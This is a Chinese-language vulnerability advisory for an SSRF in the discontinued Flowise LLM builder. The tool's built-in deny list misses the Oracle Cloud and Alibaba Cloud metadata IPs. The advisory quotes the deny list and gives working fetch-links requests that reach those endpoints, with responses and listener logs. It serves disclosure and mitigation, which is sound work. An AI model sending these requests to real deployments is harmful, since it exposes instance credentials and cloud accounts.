CVE-2026-67620 - Flowise 因云元数据拒绝列表不完整导致 SSRF 漏洞(Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 可绕过 DEFAULT_DENY_LIST)
产品: FlowiseAI/Flowise — 可视化 LLM / AI 智能体构建器(约 54k ★)
受影响版本: ≤ 3.1.4 — 已确认在最新版本 3.1.4 中仍存在漏洞(2026-08-06 重新验证)
漏洞: 因拒绝列表不完整导致的服务端请求伪造
CWE: CWE-918(SSRF)· CWE-184(不完整的禁止输入列表)
严重程度: 中 — CVSS 3.1 6.5(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
发现日期: 2026-07-10 · 报告至 VulnCheck(CVD): 2026-07-15
研究员: Bobur Abdugafforov(Mahadsec)
厂商状态 — 不会发布补丁。 Flowise 项目已正式 停止维护,不再接受安全漏洞报告。发布本公告 是为了让仍在运行 Flowise 的运维人员能够自行缓解该问题。
Flowise 内置了一个 SSRF 防护机制,用于阻止对云实例元数据服务的请求。该
拒绝列表覆盖了 AWS、GCP、Azure 和
DigitalOcean 所使用的 169.254.0.0/16 链路本地地址范围——但遗漏了两个不在该范围内的
元数据地址:
| 云服务商 | 元数据 IP | 是否在拒绝列表中? |
|---|---|---|
| AWS / GCP / Azure / DigitalOcean | 169.254.169.254 | ✅ 已阻止 |
| Oracle Cloud (OCI) | 192.0.0.192 | ❌ 未阻止 |
| 阿里云 | 100.100.100.200 | ❌ 未阻止 |
官方 flowiseai/flowise:3.1.4
Docker 镜像(.../flowise-components/dist/src/httpSecurity.js)中随附的完整 DEFAULT_DENY_LIST
如下:
'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'
18 个条目。192.0.0.192 和 100.100.100.200 均未出现,且两者都不在任何列出的 CIDR 范围内——注意 192.168.0.0/16 并不覆盖 192.0.0.192,而且完全没有 100.64.0.0/10(CGNAT)条目。
该列表在 3.1.2 与 3.1.4 之间字节完全相同。这些版本之间对 httpSecurity.ts 的唯一改动是 isDeniedIP() 内部的 IPv4 映射 IPv6 规范化,这不会影响两个纯 IPv4 地址。
两个被遗漏的地址都不在常规私有或链路本地 CIDR 范围内:192.0.0.192 位于 IETF 协议分配块 192.0.0.0/24 内,看起来可全局路由,而 100.100.100.200 位于 CGNAT 范围 100.64.0.0/10 内,拒绝列表同样未覆盖该范围。因此,通过枚举“元数据 IP”和链路本地范围构建的防护会同时遗漏两者。
经过身份验证的用户可以强制 Flowise 服务器向这些地址发起任意 GET 请求。在 OCI 或阿里云部署上,这会访问实例元数据服务,该服务提供实例身份和凭据材料。
packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST
(编译后:httpSecurity.js:31-50)
该列表包含 169.254.169.254 和 169.254.0.0/16 范围,但不包含 192.0.0.192、100.100.100.200 或 100.64.0.0/10 CGNAT 范围。
请求流程:GET /api/v1/fetch-links → checkDenyList(url) → 经由 webCrawl 的 secureFetch()。secureFetch 会正确重新验证重定向目标,因此基于重定向的绕过已被处理——缺陷在于列表的内容,这意味着重定向到任一被遗漏的 IP 会像直接请求一样通过验证。
fetch-links 路由没有 checkPermission 中间件,因此任何经过身份验证的会话无论角色如何都能访问它。
GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1
所有通过 secureFetch / secureAxiosRequest 并使用用户提供 URL 进行路由的节点都会受到同一拒绝列表的影响——例如 web-scraper 和 HTTP-request 节点。
关于可达性的说明: 当已公开的 chatflow 中存在获取 URL 的节点时,该问题还可通过公开的 POST /api/v1/prediction/:id 端点以未认证方式触达。
已针对运行中的本地 Flowise 3.1.2 实例进行动态确认,监听器绑定到 192.0.0.192:80 和 100.100.100.200:80。
对照——AWS/GCP/Azure 元数据 IP 被正确阻止:
GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.
绕过 1 — Oracle Cloud 元数据:
GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}
绕过方式 2 — 阿里云元数据:
GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
在监听器上观察到的服务端请求(证明该请求源自 Flowise 服务器,而非客户端):
# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -
# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -
随附一个 PoC 脚本:poc.py。
任何已通过身份验证的 Flowise 用户——以及在公共 chatflow 中存在 URL 抓取节点的情况下,任何未通过身份验证的访问者——都可以让服务器向 Oracle Cloud 和阿里云的实例元数据服务发起 GET 请求,而该产品明确试图对其他云服务商阻止此类请求。
在受影响的部署中,这会暴露实例身份数据以及提供实例角色凭证的元数据端点,进而可借此进一步访问受害者的云账户。更广泛地说,同一缺陷还允许向 100.64.0.0/10 CGNAT 网段发起请求,该网段在许多云服务商网络内部是可路由的。
该严重性评级反映了利用此漏洞需要将 Flowise 实例托管在 OCI 或阿里云上。该缺陷本身——一个不完整的拒绝列表——与云服务商无关。
不会发布厂商补丁;该项目已停止维护。运维人员应:
192.0.0.0/24 和 100.64.0.0/10——因为该应用无法被修复。PUT 获取令牌的等效云服务商机制),使单纯的 SSRF GET 请求无法获取凭证。如果为本地分支打补丁,请在 packages/components/src/httpSecurity.ts 的 DEFAULT_DENY_LIST 中添加:192.0.0.192、100.100.100.200,以及网段 192.0.0.0/24 和 100.64.0.0/10。
| 日期 | 事件 |
|---|---|
| 2026-07-10 | 在本地实时实例上发现并确认漏洞 |
| 2026-07-15 | 报告给 VulnCheck 以进行协调披露 |
| 2026-08 | VulnCheck 告知该项目已停止维护且不再接受报告;已分配 CVE-2026-67620 并授权公开披露 |
| — | 公开披露(本公告) |
Bobur Abdugafforov — Mahadsec
本公告和 PoC 发布用于防御和教育目的。仅测试你拥有或获得授权测试的系统。